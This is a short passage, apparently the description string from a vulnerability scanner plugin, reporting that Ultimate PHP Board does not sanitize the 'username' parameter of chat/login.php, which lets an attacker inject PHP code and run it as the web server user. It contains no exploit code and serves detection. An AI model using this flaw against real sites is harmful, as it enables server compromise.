"The remote host is running Ultimate PHP Board (UPB). 

The version of UPB installed on the remote host does not sanitize
input to the 'username' parameter of the 'chat/login.php' script

an attacker can leverage this flaw to inject arbitrary PHP code into
the second file and then retrieve that to have the code executed on
the affected host subject to the privileges of the web server user id." );
